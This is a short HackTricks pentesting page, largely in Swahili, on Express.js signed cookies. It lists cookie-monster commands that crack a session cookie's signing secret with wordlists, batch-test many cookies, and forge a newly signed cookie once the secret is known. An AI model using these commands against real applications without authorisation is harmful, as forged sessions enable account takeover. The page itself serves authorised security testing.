hacktricks/src/network-services-pentesting/pentesting-web/nodejs-express.md

NodeJS Express

{{#include ../../banners/hacktricks-training.md}}

Saini ya Keki

Chombo https://github.com/DigitalInterruption/cookie-monster ni zana ya kujiendesha kwa ajili ya kujaribu na kusaini tena siri za keki za Express.js.

Keki moja yenye jina maalum

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Orodha ya maneno ya kawaida

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Jaribio la kuki nyingi kwa kutumia hali ya kundi

cookie-monster -b -f cookies.json

Jaribu kuki nyingi kwa kutumia hali ya kundi na orodha ya maneno ya kawaida

cookie-monster -b -f cookies.json -w custom.lst

Encode and sign a new cookie

Ikiwa unajua siri, unaweza kusaini cookie hiyo.

cookie-monster -e -f new_cookie.json -k secret

{{#include ../../banners/hacktricks-training.md}}